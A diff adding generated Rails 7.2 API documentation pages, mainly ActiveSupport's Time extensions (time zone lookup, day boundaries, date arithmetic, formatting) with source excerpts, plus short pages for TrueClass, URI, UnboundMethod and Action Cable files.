+      ::Time.zone ? ::Time.zone.now : ::Time.now
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + days_in_month(month, year = current.year) + +

+ + +
+

Returns the number of days in the given month. If no year is specified, it will use the current year.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 24
+    def days_in_month(month, year = current.year)
+      if month == 2 && ::Date.gregorian_leap?(year)
+        29
+      else
+        COMMON_YEAR_DAYS_IN_MONTH[month]
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + days_in_year(year = current.year) + +

+ + +
+

Returns the number of days in the given year. If no year is specified, it will use the current year.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 34
+    def days_in_year(year = current.year)
+      days_in_month(2, year) + 337
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_zone(time_zone) + +

+ + +
+

Returns a TimeZone instance matching the time zone provided. Accepts the time zone in any format supported by Time.zone=. Returns nil for invalid time zones.

+ +
Time.find_zone "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...>
+Time.find_zone "NOT-A-TIMEZONE"   # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/zones.rb, line 93
+    def find_zone(time_zone)
+      find_zone!(time_zone) rescue nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_zone!(time_zone) + +

+ + +
+

Returns a TimeZone instance matching the time zone provided. Accepts the time zone in any format supported by Time.zone=. Raises an ArgumentError for invalid time zones.

+ +
Time.find_zone! "America/New_York" # => #<ActiveSupport::TimeZone @name="America/New_York" ...>
+Time.find_zone! "EST"              # => #<ActiveSupport::TimeZone @name="EST" ...>
+Time.find_zone! -5.hours           # => #<ActiveSupport::TimeZone @name="Bogota" ...>
+Time.find_zone! nil                # => nil
+Time.find_zone! false              # => false
+Time.find_zone! "NOT-A-TIMEZONE"   # => ArgumentError: Invalid Timezone: NOT-A-TIMEZONE
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/zones.rb, line 81
+    def find_zone!(time_zone)
+      return time_zone unless time_zone
+
+      ActiveSupport::TimeZone[time_zone] || raise(ArgumentError, "Invalid Timezone: #{time_zone}")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rfc3339(str) + +

+ + +
+

Creates a Time instance from an RFC 3339 string.

+ +
Time.rfc3339('1999-12-31T14:00:00-10:00') # => 2000-01-01 00:00:00 -1000
+
+ +

If the time or offset components are missing then an ArgumentError will be raised.

+ +
Time.rfc3339('1999-12-31') # => ArgumentError: invalid date
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 69
+    def rfc3339(str)
+      parts = Date._rfc3339(str)
+
+      raise ArgumentError, "invalid date" if parts.empty?
+
+      Time.new(
+        parts.fetch(:year),
+        parts.fetch(:mon),
+        parts.fetch(:mday),
+        parts.fetch(:hour),
+        parts.fetch(:min),
+        parts.fetch(:sec) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset)
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use_zone(time_zone) + +

+ + +
+

Allows override of Time.zone locally inside supplied block; resets Time.zone to existing value when done.

+ +
class ApplicationController < ActionController::Base
+  around_action :set_time_zone
+
+  private
+    def set_time_zone
+      Time.use_zone(current_user.timezone) { yield }
+    end
+end
+
+ +

NOTE: This won’t affect any ActiveSupport::TimeWithZone objects that have already been created, e.g. any model timestamp attributes that have been read before the block will remain in the application’s default timezone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/zones.rb, line 61
+    def use_zone(time_zone)
+      new_zone = find_zone!(time_zone)
+      begin
+        old_zone, ::Time.zone = ::Time.zone, new_zone
+        yield
+      ensure
+        ::Time.zone = old_zone
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + zone() + +

+ + +
+

Returns the TimeZone for the current request, if this has been set (via Time.zone=). If Time.zone has not been set for the current request, returns the TimeZone specified in config.time_zone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/zones.rb, line 14
+    def zone
+      ::ActiveSupport::IsolatedExecutionState[:time_zone] || zone_default
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + zone=(time_zone) + +

+ + +
+

Sets Time.zone to a TimeZone object for the current request/thread.

+ +

This method accepts any of the following:

+
  • +

    A Rails TimeZone object.

    +
  • +

    An identifier for a Rails TimeZone object (e.g., β€œEastern Time (US & Canada)”, -5.hours).

    +
  • +

    A TZInfo::Timezone object.

    +
  • +

    An identifier for a TZInfo::Timezone object (e.g., β€œAmerica/New_York”).

    +
+ +

Here’s an example of how you might set Time.zone on a per request basis and reset it when the request is done. current_user.time_zone just needs to return a string identifying the user’s preferred time zone:

+ +
class ApplicationController < ActionController::Base
+  around_action :set_time_zone
+
+  def set_time_zone
+    if logged_in?
+      Time.use_zone(current_user.time_zone) { yield }
+    else
+      yield
+    end
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/zones.rb, line 41
+    def zone=(time_zone)
+      ::ActiveSupport::IsolatedExecutionState[:time_zone] = find_zone!(time_zone)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + -(other) + +

+ + +
+ +
+ + + + + + + +
+ Alias for: minus_with_coercion +
+ + + + +
+ +
+

+ + <=>(other) + +

+ + +
+ +
+ + + +
+ Also aliased as: compare_without_coercion +
+ + + +
+ Alias for: compare_with_coercion +
+ + + + +
+ +
+

+ + acts_like_time?() + +

+ + +
+

Duck-types as a Time-like class. See Object#acts_like?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/acts_like.rb, line 7
+  def acts_like_time?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + advance(options) + +

+ + +
+

Uses Date to provide precise Time calculations for years, months, and days according to the proleptic Gregorian calendar. The options parameter takes a hash with any of these keys: :years, :months, :weeks, :days, :hours, :minutes, :seconds.

+ +
Time.new(2015, 8, 1, 14, 35, 0).advance(seconds: 1) # => 2015-08-01 14:35:01 -0700
+Time.new(2015, 8, 1, 14, 35, 0).advance(minutes: 1) # => 2015-08-01 14:36:00 -0700
+Time.new(2015, 8, 1, 14, 35, 0).advance(hours: 1)   # => 2015-08-01 15:35:00 -0700
+Time.new(2015, 8, 1, 14, 35, 0).advance(days: 1)    # => 2015-08-02 14:35:00 -0700
+Time.new(2015, 8, 1, 14, 35, 0).advance(weeks: 1)   # => 2015-08-08 14:35:00 -0700
+
+ +

Just like Date#advance, increments are applied in order of time units from largest to smallest. This order can affect the result around the end of a month.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 187
+  def advance(options)
+    unless options[:weeks].nil?
+      options[:weeks], partial_weeks = options[:weeks].divmod(1)
+      options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
+    end
+
+    unless options[:days].nil?
+      options[:days], partial_days = options[:days].divmod(1)
+      options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
+    end
+
+    d = to_date.gregorian.advance(options)
+    time_advanced_by_date = change(year: d.year, month: d.month, day: d.day)
+    seconds_to_advance = \
+      options.fetch(:seconds, 0) +
+      options.fetch(:minutes, 0) * 60 +
+      options.fetch(:hours, 0) * 3600
+
+    if seconds_to_advance.zero?
+      time_advanced_by_date
+    else
+      time_advanced_by_date.since(seconds_to_advance)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ago(seconds) + +

+ + +
+

Returns a new Time representing the time a number of seconds ago, this is basically a wrapper around the Numeric extension

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 213
+  def ago(seconds)
+    since(-seconds)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + at_beginning_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + at_beginning_of_hour() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_hour +
+ + + + +
+ +
+

+ + at_beginning_of_minute() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_minute +
+ + + + +
+ +
+

+ + at_end_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_day +
+ + + + +
+ +
+

+ + at_end_of_hour() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_hour +
+ + + + +
+ +
+

+ + at_end_of_minute() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_minute +
+ + + + +
+ +
+

+ + at_midday() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + at_middle_of_day() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + at_midnight() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + at_noon() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + beginning_of_day() + +

+ + +
+

Returns a new Time representing the start of the day (0:00)

+
+ + + +
+ Also aliased as: midnight, at_midnight, at_beginning_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 226
+  def beginning_of_day
+    change(hour: 0)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_hour() + +

+ + +
+

Returns a new Time representing the start of the hour (x:00)

+
+ + + +
+ Also aliased as: at_beginning_of_hour +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 255
+  def beginning_of_hour
+    change(min: 0)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_minute() + +

+ + +
+

Returns a new Time representing the start of the minute (x:xx:00)

+
+ + + +
+ Also aliased as: at_beginning_of_minute +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 271
+  def beginning_of_minute
+    change(sec: 0)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + change(options) + +

+ + +
+

Returns a new Time where one or more of the elements have been changed according to the options parameter. The time options (:hour, :min, :sec, :usec, :nsec) reset cascadingly, so if only the hour is passed, then minute, sec, usec, and nsec is set to 0. If the hour and minute is passed, then sec, usec, and nsec is set to 0. The options parameter takes a hash with any of these keys: :year, :month, :day, :hour, :min, :sec, :usec, :nsec, :offset. Pass either :usec or :nsec, not both.

+ +
Time.new(2012, 8, 29, 22, 35, 0).change(day: 1)              # => Time.new(2012, 8, 1, 22, 35, 0)
+Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1)  # => Time.new(1981, 8, 1, 22, 35, 0)
+Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => Time.new(1981, 8, 29, 0, 0, 0)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 123
+  def change(options)
+    new_year   = options.fetch(:year, year)
+    new_month  = options.fetch(:month, month)
+    new_day    = options.fetch(:day, day)
+    new_hour   = options.fetch(:hour, hour)
+    new_min    = options.fetch(:min, options[:hour] ? 0 : min)
+    new_sec    = options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec)
+    new_offset = options.fetch(:offset, nil)
+
+    if new_nsec = options[:nsec]
+      raise ArgumentError, "Can't change both :nsec and :usec at the same time: #{options.inspect}" if options[:usec]
+      new_usec = Rational(new_nsec, 1000)
+    else
+      new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+    end
+
+    raise ArgumentError, "argument out of range" if new_usec >= 1000000
+
+    new_sec += Rational(new_usec, 1000000)
+
+    if new_offset
+      ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec, new_offset)
+    elsif utc?
+      ::Time.utc(new_year, new_month, new_day, new_hour, new_min, new_sec)
+    elsif zone.respond_to?(:utc_to_local)
+      new_time = ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec, zone)
+
+      # When there are two occurrences of a nominal time due to DST ending,
+      # `Time.new` chooses the first chronological occurrence (the one with a
+      # larger UTC offset). However, for `change`, we want to choose the
+      # occurrence that matches this time's UTC offset.
+      #
+      # If the new time's UTC offset is larger than this time's UTC offset, the
+      # new time might be a first chronological occurrence. So we add the offset
+      # difference to fast-forward the new time, and check if the result has the
+      # desired UTC offset (i.e. is the second chronological occurrence).
+      offset_difference = new_time.utc_offset - utc_offset
+      if offset_difference > 0 && (new_time_2 = new_time + offset_difference).utc_offset == utc_offset
+        new_time_2
+      else
+        new_time
+      end
+    elsif zone
+      ::Time.local(new_sec, new_min, new_hour, new_day, new_month, new_year, nil, nil, isdst, nil)
+    else
+      ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec, utc_offset)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compare_with_coercion(other) + +

+ + +
+

Layers additional behavior on Time#<=> so that DateTime and ActiveSupport::TimeWithZone instances can be chronologically compared with a Time

+
+ + + +
+ Also aliased as: <=> +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 317
+  def compare_with_coercion(other)
+    # we're avoiding Time#to_datetime and Time#to_time because they're expensive
+    if other.class == Time
+      compare_without_coercion(other)
+    elsif other.is_a?(Time)
+      # also avoid ActiveSupport::TimeWithZone#to_time before Rails 8.0
+      if other.respond_to?(:comparable_time)
+        compare_without_coercion(other.comparable_time)
+      else
+        compare_without_coercion(other.to_time)
+      end
+    else
+      to_datetime <=> other
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compare_without_coercion(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: <=> +
+ + + + +
+ +
+

+ + end_of_day() + +

+ + +
+

Returns a new Time representing the end of the day, 23:59:59.999999

+
+ + + +
+ Also aliased as: at_end_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 244
+  def end_of_day
+    change(
+      hour: 23,
+      min: 59,
+      sec: 59,
+      usec: Rational(999999999, 1000)
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_of_hour() + +

+ + +
+

Returns a new Time representing the end of the hour, x:59:59.999999

+
+ + + +
+ Also aliased as: at_end_of_hour +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 261
+  def end_of_hour
+    change(
+      min: 59,
+      sec: 59,
+      usec: Rational(999999999, 1000)
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_of_minute() + +

+ + +
+

Returns a new Time representing the end of the minute, x:xx:59.999999

+
+ + + +
+ Also aliased as: at_end_of_minute +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 277
+  def end_of_minute
+    change(
+      sec: 59,
+      usec: Rational(999999999, 1000)
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eql?(other) + +

+ + +
+ +
+ + + +
+ Also aliased as: eql_without_coercion +
+ + + +
+ Alias for: eql_with_coercion +
+ + + + +
+ +
+

+ + eql_with_coercion(other) + +

+ + +
+

Layers additional behavior on Time#eql? so that ActiveSupport::TimeWithZone instances can be eql? to an equivalent Time

+
+ + + +
+ Also aliased as: eql? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 337
+  def eql_with_coercion(other)
+    # if other is an ActiveSupport::TimeWithZone, coerce a Time instance from it so we can do eql? comparison
+    other = other.comparable_time if other.respond_to?(:comparable_time)
+    eql_without_coercion(other)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eql_without_coercion(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: eql? +
+ + + + +
+ +
+

+ + formatted_offset(colon = true, alternate_utc_string = nil) + +

+ + +
+

Returns a formatted string of the offset from UTC, or an alternative string if the time zone is already UTC.

+ +
Time.local(2000).formatted_offset        # => "-06:00"
+Time.local(2000).formatted_offset(false) # => "-0600"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/conversions.rb, line 67
+  def formatted_offset(colon = true, alternate_utc_string = nil)
+    utc? && alternate_utc_string || ActiveSupport::TimeZone.seconds_to_utc_offset(utc_offset, colon)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in(seconds) + +

+ + +
+ +
+ + + + + +
+ Alias for: since +
+ + + + +
+ +
+

+ + midday() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + middle_of_day() + +

+ + +
+

Returns a new Time representing the middle of the day (12:00)

+
+ + + +
+ Also aliased as: midday, noon, at_midday, at_noon, at_middle_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 234
+  def middle_of_day
+    change(hour: 12)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + midnight() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + minus_with_coercion(other) + +

+ + +
+

Time#- can also be used to determine the number of seconds between two Time instances. We’re layering on additional behavior so that ActiveSupport::TimeWithZone instances are coerced into values that Time#- will recognize

+
+ + + +
+ Also aliased as: - +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 308
+  def minus_with_coercion(other)
+    other = other.comparable_time if other.respond_to?(:comparable_time)
+    other.is_a?(DateTime) ? to_f - other.to_f : minus_without_coercion(other)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + minus_without_coercion(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: - +
+ + + + +
+ +
+

+ + minus_without_duration(other) + +

+ + +
+ +
+ + + + + +
+ Alias for: - +
+ + + + +
+ +
+

+ + next_day(days = 1) + +

+ + +
+

Returns a new time the specified number of days in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 351
+  def next_day(days = 1)
+    advance(days: days)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_month(months = 1) + +

+ + +
+

Returns a new time the specified number of months in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 361
+  def next_month(months = 1)
+    advance(months: months)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_year(years = 1) + +

+ + +
+

Returns a new time the specified number of years in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 371
+  def next_year(years = 1)
+    advance(years: years)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + noon() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + prev_day(days = 1) + +

+ + +
+

Returns a new time the specified number of days ago.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 346
+  def prev_day(days = 1)
+    advance(days: -days)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prev_month(months = 1) + +

+ + +
+

Returns a new time the specified number of months ago.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 356
+  def prev_month(months = 1)
+    advance(months: -months)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prev_year(years = 1) + +

+ + +
+

Returns a new time the specified number of years ago.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 366
+  def prev_year(years = 1)
+    advance(years: -years)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sec_fraction() + +

+ + +
+

Returns the fraction of a second as a Rational

+ +
Time.new(2012, 8, 29, 0, 0, 0.5).sec_fraction # => (1/2)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 107
+  def sec_fraction
+    subsec
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + seconds_since_midnight() + +

+ + +
+

Returns the number of seconds since 00:00:00.

+ +
Time.new(2012, 8, 29,  0,  0,  0).seconds_since_midnight # => 0.0
+Time.new(2012, 8, 29, 12, 34, 56).seconds_since_midnight # => 45296.0
+Time.new(2012, 8, 29, 23, 59, 59).seconds_since_midnight # => 86399.0
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 91
+  def seconds_since_midnight
+    to_i - change(hour: 0).to_i + (usec / 1.0e+6)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + seconds_until_end_of_day() + +

+ + +
+

Returns the number of seconds until 23:59:59.

+ +
Time.new(2012, 8, 29,  0,  0,  0).seconds_until_end_of_day # => 86399
+Time.new(2012, 8, 29, 12, 34, 56).seconds_until_end_of_day # => 41103
+Time.new(2012, 8, 29, 23, 59, 59).seconds_until_end_of_day # => 0
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 100
+  def seconds_until_end_of_day
+    end_of_day.to_i - to_i
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + since(seconds) + +

+ + +
+

Returns a new Time representing the time a number of seconds since the instance time

+
+ + + +
+ Also aliased as: in +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 218
+  def since(seconds)
+    self + seconds
+  rescue
+    to_datetime.since(seconds)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_formatted_s(format = :default) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_fs +
+ + + + +
+ +
+

+ + to_fs(format = :default) + +

+ + +
+

Converts to a formatted string. See DATE_FORMATS for built-in formats.

+ +

This method is aliased to to_formatted_s.

+ +
time = Time.now                    # => 2007-01-18 06:10:17 -06:00
+
+time.to_fs(:time)                  # => "06:10"
+time.to_formatted_s(:time)         # => "06:10"
+
+time.to_fs(:db)           # => "2007-01-18 06:10:17"
+time.to_fs(:number)       # => "20070118061017"
+time.to_fs(:short)        # => "18 Jan 06:10"
+time.to_fs(:long)         # => "January 18, 2007 06:10"
+time.to_fs(:long_ordinal) # => "January 18th, 2007 06:10"
+time.to_fs(:rfc822)       # => "Thu, 18 Jan 2007 06:10:17 -0600"
+time.to_fs(:iso8601)      # => "2007-01-18T06:10:17-06:00"
+
+ +

Adding your own time formats to to_fs

+ +

You can add your own formats to the Time::DATE_FORMATS hash. Use the format name as the hash key and either a strftime string or Proc instance that takes a time argument as the value.

+ +
# config/initializers/time_formats.rb
+Time::DATE_FORMATS[:month_and_year] = '%B %Y'
+Time::DATE_FORMATS[:short_ordinal]  = ->(time) { time.strftime("%B #{time.day.ordinalize}") }
+
+
+ + + +
+ Also aliased as: to_formatted_s +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/conversions.rb, line 53
+  def to_fs(format = :default)
+    if formatter = DATE_FORMATS[format]
+      formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+    else
+      to_s
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_time() + +

+ + +
+

Either return self or the time in the local system timezone depending on the setting of ActiveSupport.to_time_preserves_timezone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/compatibility.rb, line 13
+  def to_time
+    preserve_timezone ? self : getlocal
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/TrueClass.html b/src/7.2/classes/TrueClass.html new file mode 100644 index 0000000000..87efbb02a5 --- /dev/null +++ b/src/7.2/classes/TrueClass.html @@ -0,0 +1,155 @@ +--- +title: TrueClass +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + blank?() + +

+ + +
+

true is not blank:

+ +
true.blank? # => false
+
+ +

@return [false]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/blank.rb, line 86
+  def blank?
+    false
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param() + +

+ + +
+

Returns self.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/to_query.rb, line 27
+  def to_param
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/URI.html b/src/7.2/classes/URI.html new file mode 100644 index 0000000000..34b9e42660 --- /dev/null +++ b/src/7.2/classes/URI.html @@ -0,0 +1,56 @@ +--- +title: URI +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/UnboundMethod.html b/src/7.2/classes/UnboundMethod.html new file mode 100644 index 0000000000..e652af505f --- /dev/null +++ b/src/7.2/classes/UnboundMethod.html @@ -0,0 +1,111 @@ +--- +title: UnboundMethod +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + duplicable?() + +

+ + +
+

Unbound methods are not duplicable:

+ +
method(:puts).unbind.duplicable? # => false
+method(:puts).unbind.dup         # => TypeError: allocator undefined for UnboundMethod
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/duplicable.rb, line 54
+    def duplicable?
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/README_md.html b/src/7.2/files/actioncable/README_md.html new file mode 100644 index 0000000000..09e5873eed --- /dev/null +++ b/src/7.2/files/actioncable/README_md.html @@ -0,0 +1,84 @@ +--- +title: README.md +layout: default +--- +
+ + +
+
+ +
+ +

Action Cable – Integrated WebSockets for Rails

+ +

Action Cable seamlessly integrates WebSockets with the rest of your Rails application. It allows for real-time features to be written in Ruby in the same style and form as the rest of your Rails application, while still being performant and scalable. It’s a full-stack offering that provides both a client-side JavaScript framework and a server-side Ruby framework. You have access to your full domain model written with Active Record or your ORM of choice.

+ +

You can read more about Action Cable in the Action Cable Overview guide.

+ +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/channel/base_rb.html b/src/7.2/files/actioncable/lib/action_cable/channel/base_rb.html new file mode 100644 index 0000000000..296916aa8c --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/channel/base_rb.html @@ -0,0 +1,93 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • set
  • + +
  • active_support/rescuable
  • + +
  • active_support/parameter_filter
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/channel/broadcasting_rb.html b/src/7.2/files/actioncable/lib/action_cable/channel/broadcasting_rb.html new file mode 100644 index 0000000000..0d6356c1e0 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/channel/broadcasting_rb.html @@ -0,0 +1,84 @@ +--- +title: broadcasting.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/to_param
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/channel/callbacks_rb.html b/src/7.2/files/actioncable/lib/action_cable/channel/callbacks_rb.html new file mode 100644 index 0000000000..8c3d5ca58b --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/channel/callbacks_rb.html @@ -0,0 +1,84 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/callbacks
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actioncable/lib/action_cable/channel/naming_rb.html b/src/7.2/files/actioncable/lib/action_cable/channel/naming_rb.html new file mode 100644 index 0000000000..e82b7576f4 --- /dev/null +++ b/src/7.2/files/actioncable/lib/action_cable/channel/naming_rb.html @@ -0,0 +1,76 @@ +--- +title: naming.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
